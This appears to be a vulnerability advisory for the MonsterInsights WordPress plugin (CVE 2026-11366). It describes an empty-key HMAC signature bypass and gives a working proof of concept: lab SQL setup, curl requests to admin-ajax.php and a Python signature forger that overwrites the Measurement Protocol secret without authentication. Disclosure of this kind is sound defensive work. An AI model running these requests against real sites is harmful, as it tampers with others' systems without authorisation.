MonsterInsights < 11.1.0 – Unauthenticated Measurement Protocol Secret Update via Empty-Key HMAC Bypass | CVE 2026-11366

Description

The plugin does not correctly validate the signature on one of its unauthenticated AJAX actions: when the plugin is not connected to Google Analytics the HMAC signing key is empty, which lets unauthenticated attackers forge a valid signature and overwrite a plugin configuration value, disrupting the plugin's server-side analytics in Manual GA4 mode.

Proof of Concept

Prerequisite:
MonsterInsights is active in Manual GA4 mode, with a manual GA4
Measurement ID stored in monsterinsights_site_profile and no OAuth
key present.
Example vulnerable DB state before exploit:
  a:1:{s:9:"manual_v4";s:12:"G-TESTTEST01";}
For a lab setup, this state can be simulated with:
  DELETE FROM wp_options WHERE option_name='monsterinsights_site_profile';
  INSERT INTO wp_options (option_name, option_value, autoload)
  VALUES (
    'monsterinsights_site_profile',
    'a:1:{s:9:"manual_v4";s:12:"G-TESTTEST01";}',
    'yes'
  );
---
# Set target
TARGET="http://victim.example"
# Step 1: Optional unauthenticated recon
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=monsterinsights_get_plugin_info&key="
# Expected response when site key is empty:
# {"v4":"","has_mp_secret":false,"plugin_version":"10.1.3"}
# Step 2: Forge HMAC with empty key and overwrite Measurement Protocol secret
TS=$(date +%s)
MP="attacker_secret_value"
export TS MP
SIG=$(python3 -c "
import hmac,hashlib,urllib.parse,os
d=urllib.parse.urlencode({'mp_token':os.environ['MP'],'timestamp':os.environ['TS']})
print(hmac.new(b'', d.encode(), hashlib.md5).hexdigest())
")
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
  -d "action=monsterinsights_push_mp_token" \
  -d "mp_token=$MP" \
  -d "timestamp=$TS" \
  -d "signature=$SIG"
# Expected response:
# {"success":true}
# Step 3: Verify persistent modification
SELECT option_value FROM wp_options
WHERE option_name='monsterinsights_site_profile'\G
# Expected result:
# a:3:{
#   s:9:"manual_v4";s:12:"G-TESTTEST01";
#   s:27:"measurement_protocol_secret";s:21:"attacker_secret_value";
#   s:15:"connection_time";i:<timestamp>;
# }
#
# The original manual_v4 value remains active. The attacker-controlled
# measurement_protocol_secret is added to the same profile option and
# will be used as api_secret in outbound GA4 Measurement Protocol
# requests to https://www.google-analytics.com/mp/collect.